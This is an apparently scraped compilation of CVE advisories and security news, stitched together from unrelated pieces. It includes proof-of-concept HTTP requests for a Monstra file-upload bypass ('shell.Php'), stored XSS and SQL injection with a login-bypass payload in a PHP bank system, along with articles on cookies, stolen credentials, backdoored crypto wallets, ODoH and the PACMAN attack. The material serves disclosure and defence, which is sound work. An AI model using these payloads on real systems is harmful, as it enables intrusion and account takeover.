Monstra 3.0.4 does not filter the case of php, which leads to an unrestricted file upload vulnerability.

**Brief of this vulnerability**

The Monstra 3.0.4 source code does not filter the case of php, which leads to an unrestricted file upload vulnerability.

**Test Environment**

    Apache/2.4.41 (Ubuntu20.04)
    PHP 7.4.3
    

**Affect version****POC**

    POST /monstra/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
    Host: localhost:80
    Content-Length: 442
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost:65003
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD6KF8q8SlXAspgP7
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost:65003/monstra/admin/index.php?id=filesmanager&path=uploads/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=nlofifites91aq2tsi1s520298
    Connection: close
    
    ------WebKitFormBoundaryD6KF8q8SlXAspgP7
    Content-Disposition: form-data; name="csrf"
    
    8ff9a93b1f09f4dfa18e06c201b7355e602ea9ce
    ------WebKitFormBoundaryD6KF8q8SlXAspgP7
    Content-Disposition: form-data; name="file"; filename="shell.Php"
    Content-Type: text/plain
    
    <?php echo "This is a test";?>
    ------WebKitFormBoundaryD6KF8q8SlXAspgP7
    Content-Disposition: form-data; name="upload_file"
    
    上传
    ------WebKitFormBoundaryD6KF8q8SlXAspgP7--
    

  
Execute successfully  

**Reason of This Vulnerability**

$_FILES['file']['name'] in the Upload file module does not check whether the file extension is case,Vulnerability file：/plugins/box/filesmanager/filesmanager.admin.php

            // Upload file
            // -------------------------------------
            if (Request::post('upload_file')) {
    
                if (Security::check(Request::post('csrf'))) {
    
                    $error = false;
                    if ($_FILES['file']) {
                        if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
                            $filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
                            $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
                            if ($uploaded !== false && is_file($filepath)) {
                                Notification::set('success', __('File was uploaded', 'filesmanager'));
                            } else {
                                $error = 'File was not uploaded';
                            }
                        } else {
                            $error = 'Forbidden file type';
                        }
                    } else {
                        $error = 'File was not uploaded';
                    }
    
                    if ($error) {
                        Notification::set('error', __($error, 'filesmanager'));
                    }
    
                    if (Request::post('dragndrop')) {
                        Request::shutdown();
                    } else {
                        Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
                    }
                } else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
            }
    

**Repair suggestions**

Add case verification at $\_FILES\['file'\]\['name'\], as follows:

            // Upload file
            // -------------------------------------
            if (Request::post('upload_file')) {
    
                if (Security::check(Request::post('csrf'))) {
    
                    $error = false;
                    if ($_FILES['file']) {
    					$_FILES['file']['name']=strtolower($_FILES['file']['name']);  //Change uppercase to lowercase
                        if ( ! in_array(File::ext($_FILES['file']['name']), $forbidden_types)) {
                            $filepath = $files_path.Security::safeName(basename($_FILES['file']['name'], File::ext($_FILES['file']['name'])), null, false).'.'.File::ext($_FILES['file']['name']);
                            $uploaded = move_uploaded_file($_FILES['file']['tmp_name'], $filepath);
                            if ($uploaded !== false && is_file($filepath)) {
                                Notification::set('success', __('File was uploaded', 'filesmanager'));
                            } else {
                                $error = 'File was not uploaded';
                            }
                        } else {
                            $error = 'Forbidden file type';
                        }
                    } else {
                        $error = 'File was not uploaded';
                    }
    
                    if ($error) {
                        Notification::set('error', __($error, 'filesmanager'));
                    }
    
                    if (Request::post('dragndrop')) {
                        Request::shutdown();
                    } else {
                        Request::redirect($site_url.'/admin/index.php?id=filesmanager&path='.$path);
                    }
                } else { die('Request was denied because it contained an invalid security token. Please refresh the page and try again.'); }
            }

CVE-2021-40940: Monstra 3.0.4 case without filtering leads to unrestricted file upload vulnerability · Issue #471 · monstra-cms/monstra

Mozilla has launched its Total Cookie Protection addition to Firefox for users worldwide. What does it do?
The post Firefox stops advertisers tracking you as you browse, calls itself the most “private and secure major browser” appeared first on Malwarebytes Labs.

Cookies are in the news as Mozilla rolls out significant privacy changes for Firefox. The idea is to dramatically lessen the risk of privacy-invading tracking across websites without your knowledge. Tracking cookies have been a hot topic in recent months, as advertisers try switching to other methods of tracking. Will this make a noticeable difference to people’s everyday browsing experience?

**What are cookies?**

Cookies are pieces of information which websites can save in your browser. Sites you visit can request your browser save cookies whenever the browser asks it for data. This can be pictures, downloads, page content, pretty much anything at all. The browser will keep the cookie and send it back to the website whenever requests are made until the cookie expires.

Expires? That’s right. Some cookies, called session cookies, expire once you close the browser. Others, persistent cookies, will remain on board until they eventually expire or you manually delete them. Humorously, some sites allow you to permanently opt-out of cookies and tracking by…asking you to accept permanent cookies which _never_ expire.

**Forget me not…but only sometimes**

But how do these cookies, session or persistent, actually work?

Browsers and websites converse in a “stateless” fashion. Every message sent is isolated from all of the other messages. There’s no link to join any of these messages up, and that’s where cookies come into play. Cookies act like a sort of bridge for many day to day tasks inside your browser. Websites send browsers cookies, known as first party cookies, tied to a unique ID the first time they converse. The browser fires the unique ID back at the website as these messages continue to be sent.

Through this, the sites you use are able to keep you logged in, remember what you’ve done, and keep the site functional for your specific needs. While sites can read their own cookies, they can’t read cookies from other websites. This is where third-party cookies come into play.

**Third party tracking: An advertiser’s dream**

A first-party cookie on a website has been placed there by the website itself. A third-party cookie is being set by someone else, like an advertiser or ad network, via code embedded into the page. That cookie is designed to essentially follow you around the internet. This is why you start one day on a website offering up deals on movies you’re interested in, and then see adverts for those films at a cheaper price on another site the day after.

Slowly but surely, ad networks build up an incredibly accurate advertising profile of you as you move from one site to another. Depending on what’s being collected, you may end up with a huge slice of identifiable data tagged to your identity without you ever even seeing it yourself. It’s just _there_, and there’s not much you can do about it.

**The cookie controversy**

Third party cookies are not particularly popular. Ad tracking generally, even less so. Numerous questions of privacy and safety exist. Something else which exists: big fines. Not so long ago, Google and Facebook received fines for $157 million and $62 million respectively. This was for making cookies easier to accept than refuse.

Elsewhere, replacements of varying effectiveness have been proposed. Apple blocks default tracking everywhere. Google plans to ditch third party cookies in Chrome by the end of next year. Brave browser is already taking action against something called bounce tracking.

With all this in mind: What is Mozilla doing?

**Hands off the cookie jar**

Users of Firefox will now find something called Total Cookie Protection ticking along in the background. Mozilla claims that this release makes Firefox:

> _The most private and secure major browser available across Windows, Mac, and Linux. Total Cookie Protection is Firefox’s strongest privacy protection to date, confining cookies to the site where they were created, thus preventing tracking companies from using these cookies to track your browsing from site to site._

Total Cookie Protection creates individual “cookie jars” for every website you browse. Trackers are no longer able to thread that analytics picture across the web. What you get up to on one site _stays_ on one site. As a result, tracking/advertising services can no longer watch from afar as you move from URL to URL. Your analytics profile is no longer quite as useful to advertisers as it once was.

Those cookies are still able to provide analytics in terms of the site they’re on. The difference is they’re no longer as invasive in terms of building a big picture of your internet activities.

This new stack of cookie jars is in addition to a number of other privacy features already up and running, including Enhanced Tracking Protection. Around since 2018, ETP blocks trackers from a maintained list. If a party is on the list, they lose the ability to use third-party cookies.

**A cookie clean up**

No matter which browser you use, an occasional cookie clean up is a good idea. Check out our post on removing cookies, which covers removal instructions for Chrome, Firefox, Edge, Opera, Safari, and several mobile browsers too.

Firefox stops advertisers tracking you as you browse, calls itself the most “private and secure major browser”

Username and password combinations offered for sale on the Dark Web by criminals has increased 65% since 2020.

Passwordless technology may be one of the most hyped categories in cybersecurity at the moment, but the reality on the ground is that passwords are still widely entrenched — and wildly insecure. Some 24.6 billion complete sets of usernames and passwords are currently in circulation in cybercriminal marketplaces as of this year, a report has found.

That’s four complete sets of credentials for every person on Earth and a 65% increase since the last time this study was conducted, in 2020.

The report from the Digital Shadows Photon Research team, "Account Takeover in 2022," shows that cybercriminals continue to profit handsomely from this reality with a record-breaking wave of credential thefts, account takeover attacks (ATO), and black-market sales of access to victim accounts.  

Within the data set of credentials on the Dark Web, approximately 6.7 billion of the offerings had a unique pairing of username and password, indicating that the combination was not duplicated across databases. That's 1.7 billion more than what researchers found in 2020. The report shows that the markets selling these credentials are robust and sophisticated, with several subscription services emerging to offer criminal premium services for purchasing them. 

**'Endless List' of Breached Data**

Further bad news for security folks is that many of the passwords examined in these stolen data stores were not very secure in the first place.

“Criminals have an endless list of breached credentials they can try, but adding to this problem is weak passwords, which means many accounts can be guessed using automated tools in just seconds,” says Chris Morgan, senior cyber threat intelligence analyst at Digital Shadows.

To wit: Nearly one in every 200 passwords found in the credentials offered for sale by criminals is 123456. Of the 50 most commonly used passwords in those collated for the report, 49 can be cracked in less than one second using tools also commonly available in underground forums. So whether a criminal buyer purchases a list of stolen credentials or a password cracker, accounts using only these credentials are extremely vulnerable to attack.

**Passwordless to the Rescue?**

This is just one in a multitude of reasons why security advocates and technology-standards organizations have been pushing so hard for more usable passwordless technology across the globe. According to a recent Dark Reading report, only 26% of IT decision-makers said they work in a passwordless organization, and 87% admitted they had at least one credential category that still depended on passwords. 

The most common systems they wished they could authenticate without passwords were workstation logins, legacy enterprise applications, and cloud applications. And those numbers primarily focus on business accounts without considering the even more thorny problem of consumer authentication, for everything from bank accounts to software subscription services.

One of the biggest pushes for passwordless authentication comes by way of the FIDO Alliance, which for more than a decade has been publishing standards for high-assurance authentication mechanisms to kick passwords to the curb. 

Earlier this year, the Fido Alliance acknowledged “we haven’t attained large-scale adoption of FIDO-based authentication in the consumer space” in its unveiling of a vision for multidevice FIDO credentials to be used in consumer use cases — important in the era of remote working from personal devices. These passkeys are more secure than passwords and are designed to make logins easier across mobile devices and desktops. In May, Apple, Google, and Microsoft reported that they’re going implement support for these standards in their platforms.

But in the meantime, Morgan explains that organizations can’t afford to ignore the ever-growing issue of stolen and trafficked credentials used for ATO.

“We will move to a passwordless future, but for now the issue of breached credentials is out of control,” says Morgan. “In just the last 18 months, we have alerted our clients to 6.7 million exposed credentials. This includes the username and passwords of their staff, customers, servers, and IoT devices. Many of these instances could have been mitigated through using stronger passwords and not sharing credentials across different accounts.”

24+ Billion Credentials Circulating on the Dark Web in 2022 — So Far

Upsurge in the tourism industry after the COVID-19 pandemic grabs the attention of cybercriminals to scam the tourists.

Upsurge in the tourism industry after the COVID-19 pandemic grabs the attention of cybercriminals to scam the tourists.

Researchers are warning a post-COVID upsurge in travel has painted a bullseye on the travel industry and has spurred related cybercrimes.

Criminal activity includes an uptick in adversaries targeting the theft of airline mileage reward points, website credentials for travel websites and travel-related databases breaches, according to a report by Intel 471.

The impact of the attacks are hacked accounts stripped of value. But also, researchers say the consequences of recent attacks can also include flight delays and cancelations as airlines grapple with mitigating hacks.

****Your Reward Points Head to Illicit Markets****

Since January the researcher at Intel 471 detect multiple hacks used by cybercriminals to trade the credentials linked to the traveling websites.

The threat actors were specifically interested in “mileage rewards accounts with at least 100,000 miles,” according to 471. These accounts are used to earn certain rewards on every dollar that is spent. The account credentials that were listed in February belong to U.K.-based users from a major traveling website and two U.S.-based airlines.

“Access to these accounts allowed actors to leverage the rewards to book travel reservations for themselves and other customers,” said researchers. “The accounts and their respective rewards points could be resold to other actors looking to conduct similar types of travel fraud activity,” they added.

The exploitation of rewards-points programs, especially those associated with travel, is not new. Researchers have tracked several incidents over the years where hackers have targeted reward points. In 2018, a pair of Russian teens have been arrested for infiltrating more than a half-million online accounts, in particular targeting services that offer rewards points.

Researchers point out that as the travel industry rebounds from a COVID-related slump, the industry is once again a prime target for cybercriminals.

****Travel-related Identity Theft****

Other criminal activities include the targeting of travel-related databases – ripe with employee and traveler personal identifiable information (PII) that threat actors can sell for money.

Researchers observed on travel-related hackers leveraging a database of “40,000 people employed in Illinois”. The stolen database includes PII of employees. Researchers said this type of leaked information plays a role in travel-related fraud – allowing an attacker to generate new identities that can be used to either cross boarders or evade authorities.

In one instance, Intel 471 researchers, cybercriminals used PII to create illicit travel documents used for border crossings. “Shortly after the start of the (Russian invasion of Ukraine) war, the actor claimed the insider could facilitate illegal border crossings for Ukrainian males aged 18 to 60” researchers noted.

Some of the traveling bodies including Romania-based Air Traffic Services Administration and Bucharest Airport were targeted by a pro-Russian group of hackers known as KillNet. “Aviation and transportation entities were among KillNet’s most frequented targets in the first half of 2022,” researcher added.

Last month, an attack on the IT systems of SpiceJet airlines left travelers stranded at airports and causes the delay and cancellation of flights.

****Protection From the Scams****

The researchers suggested customers stay vigilant while making arrangements and should book flights from a trusted source, handle payment cautiously, and refrain from getting phished in any dubious vacation-related offers.

Travel-related Cybercrime Takes Off as Industry Rebounds

A vulnerability, which was classified as problematic, was found in SourceCodester Bank Management System 1.0. This affects the file /mnotice.php?id=2. The manipulation of the argument notice with the input <script>alert(1)</script> leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

**Online Bank Management System - Stored Cross-Site Scripting(XSS)****Exploit Title: Online Bank Management System - Stored Cross-Site Scripting****Exploit Author: webraybtl@webray.com.cn inc****Vendor Homepage: https://www.sourcecodester.com/php/15373/online-banking-management-system-php-free-source-code.html****Software Link:https://www.sourcecodester.com/download-code?nid=15373&title=Online+Bank+Management+System+in+PHP+Free+Source+Code****Version: Online Bank Management System 1.0****Tested on: Windows Server 2008 R2 Enterprise, Apache ,Mysql****Description**

Persistent XSS (or Stored XSS) attack is one of the three major categories of XSS attacks, the others being Non-Persistent (or Reflected) XSS and DOM-based XSS. In general, XSS attacks are based on the victim’s trust in a legitimate, but vulnerable, website or web application.Online Bank Management System does not filter the content correctly at the "notice" parameter, resulting in the generation of stored XSS.

**Payload used:**

<script>alert("XSS")</script>

    POST /mnotice.php?id=2 HTTP/1.1
    Host: 192.168.67.14:8089
    Content-Length: 69
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.67.14:8089
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.67.14:8089/mnotice.php?id=2
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=3fd6gf7a23dtf98p5b7769nlff
    Connection: close
    
    userId=2&notice=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&send=
    

**Proof of Concept**

1、Login CMS with administrator account. username: manager@manager.com Password: manager

2、Send a notification to Ali Khan with the content- <script>alert("XSS")</script>

3、Log in to Ali Khan account after sending successfully, and find that the pop-up window is successful username: some2@gmail.com Password: some2

5、Click View Notice to trigger again.

CVE-2022-2087: webray.com.cn/phpbankxss.md at main · joinia/webray.com.cn

A vulnerability, which was classified as critical, has been found in SourceCodester Bank Management System 1.0. Affected by this issue is login.php. The manipulation of the argument password with the input 1'and 1=2 union select 1,sleep(10),3,4,5 --+ leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

**Online Bank Management System - login.php 'password' SQL inject****Exploit Title: Online Bank Management System - login.php 'password' SQL inject****Exploit Author: webraybtl@webray.com.cn inc****Vendor Homepage: https://www.sourcecodester.com/php/15373/online-banking-management-system-php-free-source-code.html****Software Link:https://www.sourcecodester.com/download-code?nid=15373&title=Online+Bank+Management+System+in+PHP+Free+Source+Code****Version: Online Bank Management System 1.0****Tested on: Windows Server 2008 R2 Enterprise, Apache ,Mysql****Description**

The reason for the SQL injection vulnerability is that the website application does not verify the validity of the data submitted by the user to the server (type, length, business parameter validity, etc.), and does not effectively filter the data input by the user with special characters , so that the user's input is directly brought into the database for execution, which exceeds the expected result of the original design of the SQL statement, resulting in a SQL injection vulnerability.Online Bank Management System does not filter the content correctly at the "login.php/password" parameter, resulting in the generation of SQL injection.

**Payload used:**

    Host: 192.168.67.14:8089
    Content-Length: 95
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.67.14:8089
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.67.14:8089/login.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    email=manager%40manager.com&password=1'and 1=2 union select 1,sleep(10),3,4,5 --+&managerLogin=
    

**Proof of Concept**

1、Grab the package at the login and find that the login program is in login php

2、Looking at the source code, it is found that the password field is directly brought into the SQL statement query without filtering

3、Use payload "sleep (10)" for blind SQL injection.It is found that the time blind injection is successful

4、We can also construct a payload for universal password login

payload:email=manager%40manager.com&password=1'or '1'='1&managerLogin=

CVE-2022-2086: webray.com.cn/phpbanksql.md at main · joinia/webray.com.cn

ok-file-formats master 2021-9-12 is affected by a buffer overflow in ok_jpg_convert_data_unit_grayscale and ok_jpg_convert_YCbCr_to_RGB.

**ok-file-formats**

C functions for reading a few different file formats. No external dependencies. Written in C99.

Library

Description

ok\_png

Reads PNG files. Supports Apple's proprietary CgBI chunk. Tested against the PngSuite.

ok\_jpg

Reads JPEG files. Baseline and progressive formats. Interprets EXIF orientation tags. No CMYK support.

ok\_wav

Reads WAV and CAF files. PCM, u-law, a-law, and ADPCM formats.

ok\_fnt

Reads AngelCode BMFont files. Binary format from AngelCode Bitmap Font Generator v1.10 or newer.

ok\_csv

Reads Comma-Separated Values files.

ok\_mo

Reads gettext MO files.

The source files do not depend on one another. If all you need is to read a PNG file, just use ok_png.h and ok_png.c.

The CMakeLists.txt file can be used but is not required.

The ok_png, ok_jpg, and ok_wav functions include:

*   Option to use a custom allocator (ok_png_read_with_allocator, etc.)
*   Fuzz tests.

The ok_png and ok_jpg functions include these decode options:

*   Get the image dimensions without decoding image data.
*   Premultiply alpha.
*   Flip the image vertically.

**Example: Decode PNG**

#include <stdio.h\>
#include "ok\_png.h"

int main() {
    FILE \*file = fopen("my\_image.png", "rb");
    ok\_png image = ok\_png\_read(file, OK\_PNG\_COLOR\_FORMAT\_RGBA | OK\_PNG\_PREMULTIPLIED\_ALPHA | OK\_PNG\_FLIP\_Y);
    fclose(file);
    if (image.data) {
        printf("Got image! Size: %li x %li\\n", (long)image.width, (long)image.height);
        free(image.data);
    }
    return 0;
}

**Recent breaking changes in ok_png, ok_jpg, and ok_wav:**

*   The read functions now return the ok_png, ok_jpg, and ok_wav structs on the stack instead of the heap. (These structs are small, around 24-32 bytes).
*   Replaced ok_png_read_to_buffer with ok_png_read_with_allocator.
*   Replaced ok_png_read_from_callbacks with ok_png_read_from_input.
*   Replaced error_message with error_code.
*   Removed ok_png_free. Free png.data directly instead.

CVE-2021-41413: GitHub - brackeen/ok-file-formats: Decoders for PNG, JPEG, WAV, and a few other file formats

By Deeba Ahmed
A Chinese-speaking, technically skilled threat actor distributes backdoored applications to extract cash from victims in the newly discovered…
This is a post from HackRead.com Read the original post: Hackers Using Web3 Backdoor Wallets to Steal Seed Phrases from iOS/Android Users

Confiant security researchers have shared details of a large-scale operation launched by a technically advanced, sophisticated threat actor. The actor distributes backdoored applications through fake versions of authentic cryptocurrency wallet websites to drain funds. The activity cluster is dubbed SeaFlower, reportedly targeting iOs and Android users.

Confiant researchers noted that the trojanized cryptocurrency apps are identical to their real versions. However, they contain a backdoor that can steal a user’s security phase, allowing attackers to access their digital assets.

**Attack Method**

The SeaFlower operation leverages website cloning, SEO poisoning, and black SEO techniques to distribute trojanized apps to a broader range of users. Targeted applications include iOS and Android versions of MetaMask, Coinbase wallet, imToken, and TokenPocket.

These apps are distributed through Chinese search engines such as Sogou and Baidu. The search terms are rigged, so when someone searches for Download MetaMask iOS, the drive-by download pages appear on the top of the results first page.

Unsuspecting users stumble upon the suspicious sites, which serve as a conduit for luring victims into downloading trojanized versions of wallet apps. These apps have been modified to appear the same as the original versions but have additional code to extract and send the seed phrase to a remote domain.

The attackers may promote the backdoored apps on social media platforms and forums and use malvertising, but the leading distribution channel is search engines.

**SeaFlower Objective**

According to a blog post by Confiant’s Taha Karim, the main objective behind this campaign appears to be modifying Web3 wallets with backdoor code to exfiltrate the seed phrase. SeaFlower operators have also engineered the activity for targeting iOS users through provisioning profiles to enable apps for sideloading onto the devices.

For your information, provision profiles help tie devices and developers to an unauthenticated development team. This way, devices can be used for testing app code and adding malicious apps to devices.

**The Chinese Connection**

The analysis of the source code comments in the backdoored coding, the macOS usernames, and the involvement of Alibaba’s CDN (content delivery network) links this campaign with a yet-to-be-revealed Chinese-speaking organization.

Researchers claim they discovered the campaign in March 2022 and refer to SeaFlower as “the most technically sophisticated threat targeting Web3 users, right after the infamous Lazarus Group.”

**Why SeaFlower?**

Regarding why Confiant researchers dubbed the activity SeaFlower, they noted that one of the .dylib files injected in the trojanized MetaMask app’s Mach-O leaked a macOS username “Zhang Haike.” When they Googled the term, many Chinese language references appeared, one of which was a character in the Chinese novel “Tibetan Sea Flower.”

**Security Measures**

Chinese hackers are always considered dangerous and highly sophisticated. It could be because of unlimited resources backed by the government or they are just good at it. Nevertheless, strictly refrain from downloading apps and software from third-party markets.

> Always download mobile apps from official stores: Apple AppStore & Play Store. Never install or accept random provisioning profiles on your iPhone, as you saw in this blog post, they allow the download of unverified software that could potentially steal your crypto.
> 
> Taha Karim – Confiant

**More Chinese Hackers in News**

1.  Irani and Chinese State Hackers Exploiting Log4j Vulnerability
2.  Russian language hacking forums warming up to Chinese hackers
3.  Chinese APT group spying on Vietnam military with FoundCore RAT
4.  Microsoft disrupts the activity of Chinese hackers by seizing 42 websites
5.  Unofficial Micropatch for Follina Released as Chinese Hackers Exploit 0-day

Hackers Using Web3 Backdoor Wallets to Steal Seed Phrases from iOS/Android Users

ODoH is said to enhance user privacy without compromising performance

John Leyden 14 June 2022 at 14:46 UTC

ODoH is said to enhance user privacy without compromising performance

Security engineers are proposing an experimental protocol that promises greater privacy in how DNS, the internet’s equivalent of a telephone directory, operates.

Oblivious DNS-over-HTTPS (ODoH) describes a protocol that allows clients to hide their IP addresses from DNS resolvers through proxies relaying encrypted DNS-over-HTTPS (DoH) messages.

The approach creates a setup that means no one server is aware of both a client’s IP address and the content of DNS queries and answers – a significant privacy benefit.

RELATED A guide to DNS-over-HTTPS – how a new web protocol aims to protect your privacy online

The experimental protocol has been developed outside the Internet Engineering Task Force (IETF) but with the involvement of engineers at Apple, Cloudflare, and Fastly.

A detailed technical outline of the experimental protocol, which its developers hope will attract wide-scale experimentation and interoperability, was published last week.

In response to a question from The Daily Swig on use cases for the technology, one of the authors of ODoH technical paper highlighted current deployments with Apple’s iCloud Private Relay (PDF) and Cloudflare.

According to Cloudflare, the ODoH protocol enhances privacy for users while aiming to “improve the overall adoption of encrypted DNS protocols” but without compromising performance and user experience on the internet.

**How does Oblivious DNS-over-HTTPS work?**

Oblivious DNS-over-HTTPS works by adding a layer of public key encryption, as well as a network proxy between clients and DNS-over-HTTPS servers.

The Oblivious HTTP Application Intermediation (OHAI) IETF working group, where the technology is being developed as a standard, offers an overview of how engineers would like to further develop and refine Oblivious DNS-over-HTTPS.

Catch up with the latest DNS security news

Cricket Liu, chief DNS architect at Infoblox, recognized the privacy benefit ODoH offers to consumers while cautioning that the technology could frustrate the operation of security controls found in many enterprise environments.

Liu told The Daily Swig: “I think the basic idea behind Oblivious DNS makes sense from a consumer privacy standpoint: You launder the query and the source IP address through a series of proxies, the first of which sees the querier’s IP address and the second of which sees the query itself.

“From the perspective of an enterprise, however, it poses the same challenges that DoH does and possibly more, since the use of an external Oblivious DNS proxy would leave IT organizations blind to what employees are doing.”

The protocol’s source code is publicly available, so anyone can try out ODoH or run their own ODoH service.

YOU MAY ALSO LIKE GhostTouch: Hackers can reach your phone’s touchscreen without even touching it

Oblivious DNS-over-HTTPS offers privacy enhancements to secure lookup protocol

Researchers at MIT have published details about an attack that uses a flaw in the M1 security feature pointer authentication codes. 
The post Don’t panic! “Unpatchable” Mac vulnerability discovered appeared first on Malwarebytes Labs.

Researchers at MIT’s Computer Science & Artificial Intelligence Lab (CSAIL) found an attack surface in a hardware-level security mechanism utilized in Apple M1 chips. The flaw is unpatchable, but attackers would need to chain it with other vulnerabilities to make use of the attack method.

The hardware attack can bypass Pointer Authentication (PAC) on the Apple M1 CPU. The researchers gave a brief description on a dedicated site and will present full details on June 18, 2022 at the International Symposium on Computer Architecture.

**The M1 chip**

Until the recently announced M2, the M1 chip was the most powerful chip that Apple had created. The Apple M1 series of ARM-based system-on-a-chip (SoC) works as a central processing unit (CPU) and graphics processing unit (GPU) for Apple’s Macintosh desktops and notebooks, as well as the iPad Pro and iPad Air tablets.

Macs and PCs normally incorporate several chips for their Central Processing Unit (CPU), Input/Output (I/O), and security. The M1 was the first SoC for Macs that combined these technologies, which led to better integration and improved performance and power usage.

**Security**

The researchers have dubbed it PACMAN, a vulnerability in what they call the last line of security for the M1 chip. The flaw could theoretically give threat actors a door to gain full access to the core operating system kernel.

Both the researchers and Apple stated there is no cause for immediate alarm, since the system under attack needs to have an existing memory corruption bug to exploit the vulnerability.

**PAC**

The PAC in PACMAN is short for pointer authentication codes. The PAC is a cryptographic signature that confirms that an app wasn’t maliciously altered. With pointer authentication enabled, bugs that could normally compromise a system or leak private information are stopped dead in their tracks.

This feature makes it much harder for an attacker to inject malicious code into a device’s memory and provides a level of defense against buffer overflow exploits. A buffer overflow is a type of software vulnerability that exists when an area of memory within a software application reaches its address boundary and writes into an adjacent memory region.

The researchers found a vulnerability which allows PACMAN to find out the PAC. To understand how they pulled this off we need to understand speculative execution. The computer processor guesses several directions a computation may go in by using a technique called speculative execution. To use an analogy, they do this to have the answers ready for several following questions.

**How it fails**

The idea behind pointer authentication is that if all else has failed, you still can rely on it to prevent attackers from gaining control of your system. But the researchers found that the number of possible PACs has its limits and by using speculative execution they could use a trial and error method without causing any crashes. This allowed them to brute-force the PAC value without triggering any alams.

Another advantage that speculative execution provides an attacker with is that there is no known way of finding out whether your system is or has been the victim of such an attack.   

**More targets**

The PACMAN attack combines a software attack with a hardware attack to exploit a flaw in a security feature. The researchers expressed that they expect to see more attacks of this type in the future. This particular attack, while it was only tested against the M1 chip, is expected to work in a similar way on every architecture that uses PAC.

Apple has implemented pointer authentication on all of its custom ARM-based silicon so far, including the M1, M1 Pro and M1 Max, and a number of other chip manufacturers, including Qualcomm and Samsung, have either announced or expect to ship new processors supporting the PAC security feature.

**Mitigation**

Current users of M1 based systems don’t need to take immediate action at this point.

Apple thanked the researchers for their work and for sharing their findings. Apple gave the following comment:

> “Based on our analysis as well as the details shared with us by the researchers, we have concluded this issue does not pose an immediate risk to our users and is insufficient to bypass operating system security protections on its own.”

Since the PACMAN attack only works when chained with an existing bug and exploits the hardware architecture there is not much a user can do but be vigilant. Since the hardware mechanisms used by PACMAN cannot be patched with software features, memory corruption bugs can be, so those are the ones to look out for.

Tag

#apple